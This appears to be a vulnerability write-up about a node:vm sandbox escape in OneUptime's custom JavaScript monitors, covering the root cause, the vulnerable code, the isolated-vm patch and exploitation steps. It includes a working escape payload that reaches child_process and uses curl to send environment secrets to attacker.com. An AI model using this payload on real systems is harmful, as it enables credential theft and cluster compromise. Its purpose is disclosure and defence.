OneUptime, One Shell: Escaping the node:vm Sandbox

In the world of DevOps, observability tools are the crown jewels. They have access to everything: database metrics, server health, logs, and often, by necessity, the network keys to the kingdom. OneUptime is one such tool—a status page and monitoring solution that promises to keep your services online. But irony has a cruel sense of humor.

The feature in question is "Synthetic Monitoring" or "Custom JavaScript Monitors." It’s a feature developers love: "Just let me write a quick script to check if my API returns the right JSON." To support this, OneUptime allowed users to input raw JavaScript, which the backend would then execute to perform the check.

Here’s the problem: Running untrusted code on your server is like handing a loaded gun to a stranger and asking them to hold it for a second. If you don't have a bulletproof vest (a real sandbox), you're going to have a bad time. OneUptime brought a cardboard box to a gunfight.

The root cause of this vulnerability is a tale as old as Node.js itself: the misuse of the node:vm module. Many developers see "vm" and think "Virtual Machine"—images of Docker containers or KVMs dance in their heads. They assume it's a security boundary.

It is not.

The Node.js documentation actually includes a giant red warning box that essentially says: "Do not use this to execute untrusted code." The node:vm module creates a new context for code to run in, but it runs in the same process as the main application. Crucially, it shares the same memory space.

In JavaScript, if you can access an object, you can usually access its prototype. If you can access the prototype, you can walk up the chain to the constructor. If you get to the Function constructor, you can generate new functions outside the sandbox. It is less of a prison and more of a gentle suggestion to stay inside.

Let's look at the vulnerable pattern. The application was taking user input strings and passing them directly into vm.runInNewContext or similar derivatives. The code looked something like this:

// The Vulnerable Pattern
const vm = require('node:vm');
const userScript = "/* user input */";
 
// "Sandboxing" by limiting global variables
const sandbox = { 
    axios: require('axios'),
    console: console 
};
 
// EXECUTE
vm.createContext(sandbox);
const result = vm.runInContext(userScript, sandbox);

The fix, implemented in version 10.0.5, was a complete engine swap. The developers ripped out node:vm and replaced it with isolated-vm.

isolated-vm allows you to create V8 Isolates. These are distinct instances of the V8 engine with their own heap and stack. They don't share objects; they serialize data passed between them. It is a true heavy-duty boundary.

Here is the essence of the patch (Commit 7f9ed4d43945574702a26b7c206e38cc344fe427):

// The Fix: Using isolated-vm
import ivm from 'isolated-vm';
 
const isolate = new ivm.Isolate({ memoryLimit: 128 });
const context = isolate.createContextSync();
const jail = context.global;
 
// Sets the global object to be strictly dereferenced
jail.setSync('global', jail.derefInto());
 
// Execute user code in a separate V8 instance
const script = isolate.compileScriptSync(userCode);
script.runSync(context);

This change turns a trivial escape into a nearly impossible one (barring zero-days in V8 itself).

So, how do we weaponize the unpatched version? The goal is to reach the host's process object. Once we have process, we can require('child_process') and execute shell commands.

The attack vector is simple:

1. Register a free account (if open registration is enabled).
2. Create a new "Custom JavaScript" Monitor.
3. Paste the following "magic spell" into the script body:

// The Magic Spell
const process = this.constructor.constructor('return process')();
const require = this.constructor.constructor('return require')();
const cp = require('child_process');
 
// Proof of Concept: Exfiltrate env vars
const secrets = JSON.stringify(process.env);
cp.execSync('curl -X POST -d "' + btoa(secrets) + '" http://attacker.com/loot');

How it works: this refers to the context object. this.constructor is the Object constructor. this.constructor.constructor is the Function constructor. By calling it with 'return process', we create a function executing outside the sandbox that returns the global Node.js process object. Game over.

Why is this a 10.0 CVSS? Because the OneUptime probe doesn't just run empty. It runs with environment variables populated with the keys to your kingdom.

Upon a successful escape, an attacker immediately gains access to:

• ONEUPTIME_SECRET: The master key for the application.
• DATABASE_PASSWORD: Direct access to the Postgres database.
• REDIS_PASSWORD: Access to the cache/queue.
• CLICKHOUSE_PASSWORD: Access to the analytics store.

Furthermore, because these probes often run inside Kubernetes clusters with service account tokens mounted, an attacker can use the shell access to pivot effectively, deploying ransomware or crypto-miners to the entire cluster. The time from "account registration" to "root shell" is approximately 30 seconds.